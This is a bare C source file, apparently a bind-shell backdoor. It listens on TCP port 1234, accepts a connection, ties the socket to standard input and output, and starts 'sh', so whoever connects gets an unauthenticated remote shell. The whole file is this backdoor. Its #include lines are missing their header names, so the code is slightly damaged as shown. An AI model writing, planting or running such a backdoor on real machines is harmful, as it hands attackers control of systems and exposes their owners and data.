#include #include #include #include #define PORT 1234 main () { int one=1; struct sockaddr_in sa; int Asd,len,sd; if ((sd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("socket"); exit (1); } setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,(char *)&one,sizeof(one)); sa.sin_family = AF_INET; sa.sin_port = htons ((u_short) PORT); sa.sin_addr.s_addr = htonl (INADDR_ANY); if (bind (sd, (struct sockaddr *) &sa, sizeof (sa)) < 0) { perror ("bind"); exit (2); } if (listen (sd, 1) < 0) { perror ("listen"); exit (3); } len = sizeof (sa); if ((Asd = accept (sd, (struct sockaddr *) &sa, &len)) < 0) { perror ("accept"); exit(4); } printf("HERE\n"); if (dup2(dup2(Asd,1),0)==-1) perror("Dup2"); system("sh"); }